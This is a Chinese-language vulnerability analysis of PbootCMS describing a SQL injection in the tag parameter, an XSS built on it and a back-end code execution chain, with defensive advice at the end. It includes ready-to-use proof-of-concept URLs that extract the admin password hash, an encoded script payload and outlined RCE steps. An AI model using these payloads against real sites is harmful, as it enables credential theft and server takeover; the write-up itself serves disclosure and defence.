pbootcms前台sql注入XSS再到后台rce
字数 961 2025-08-29 22:41:10
PbootCMS 漏洞分析与利用指南
漏洞概述
PbootCMS 存在一系列安全漏洞,包括:
- 前台 SQL 注入漏洞
- 基于 SQL 注入的 XSS 漏洞
- 后台 RCE (远程代码执行) 漏洞
影响版本:
- GitHub 最新版本 3.2.10
- Gitee 最新版本 3.2.5
漏洞分析
1. 前台 SQL 注入漏洞
漏洞位置:apps/home/controller/TagController.php
漏洞成因:
- 系统通过
get()函数传递$_GET参数 - 参数经过
escape_string函数处理 - 在
parserPositionLabel处理时,tag 参数被添加到 content 中 - 通过
parserListLabel的正则匹配和标签解析,最终构造出可注入的 SQL 语句
关键点:
- 通过闭合括号和注释符绕过过滤
- 默认使用 SQLite 数据库
2. XSS 漏洞
利用方式:
- 基于 SQL 注入漏洞,通过
char()函数构造 XSS 载荷 - SQLite 不支持 16 进制绕过,但提供了
char()函数
3. 后台 RCE 漏洞
漏洞位置:core/function/handle.php
漏洞成因:
decode_string函数进行 HTML 实体解码- 通过特定方式提交恶意数据可导致代码写入缓存文件
- 访问首页时加载并执行恶意缓存文件
漏洞利用
SQL 注入 POC
http://pbootcms.learn/index.php?tag=ccc%3A%7Bpboot%3Alist%20filter%3D1%3D2)UNION%2F**%2FSELECT%2F**%2F1%2C2%2C3%2C4%2C5%2C(select%2F**%2Fpassword%2F**%2Ffrom%2F**%2Fay_user)%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2F**%2F--%2F**%2F%7C123%20scode%3D123%7D%5Blist%3Alink%20link%3Dasd%5D%7B%2Fpboot%3Alist%7D
XSS POC
http://pbootcms.learn/index.php?tag=xxx%3A%7Bpboot%3Alist%20filter%3D1%3D2)UNION%2F**%2FSELECT%2F**%2F1%2C2%2C3%2C4%2C5%2C(select%2F**%2Fchar(34%2C62%2C60%2C115%2C99%2C114%2C105%2C112%2C116%2C62%2C97%2C108%2C101%2C114%2C116%2C40%2C49%2C41%2C60%2C47%2C115%2C99%2C114%2C105%2C112%2C116%2C62%2C60%2C34))%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2F**%2F--%2F**%2F%7C123%20scode%3D123%7D%5Blist%3Alink%20link%3Dasd%5D%7B%2Fpboot%3Alist%7D
RCE 利用步骤
- 通过 SQL 注入获取管理员凭证
- 登录后台
- 通过特定方式提交恶意代码
- 清理所有缓存
- 访问首页触发恶意代码执行
防御建议
- 对用户输入进行严格过滤和转义
- 使用参数化查询防止 SQL 注入
- 限制后台功能权限
- 及时更新到修复版本
- 对缓存文件进行安全检查
技术细节
SQL 注入构造
最终构造的 SQL 语句示例:
1=2)UNION/**/SELECT/**/1,2,3,4,5,(select/**/password/**/from/**/ay_user/**/limit/**/0,1),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/like '%123%') ORDER BY a.istop DESC,a.isrecommend DESC,a.isheadline DESC,a.sorting ASC,a.date DESC,a.id DESC LIMIT 15 OFFSET 0
XSS 载荷构造
使用 SQLite 的 char() 函数构造 XSS:
select char(34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62,60,34)
解码后为:"><script>alert(1)</script><"
总结
PbootCMS 的这一系列漏洞展示了从简单的注入到最终获取系统控制权的完整攻击链。开发人员应重视输入验证、输出编码和权限控制等基本安全原则,以防止此类漏洞的发生。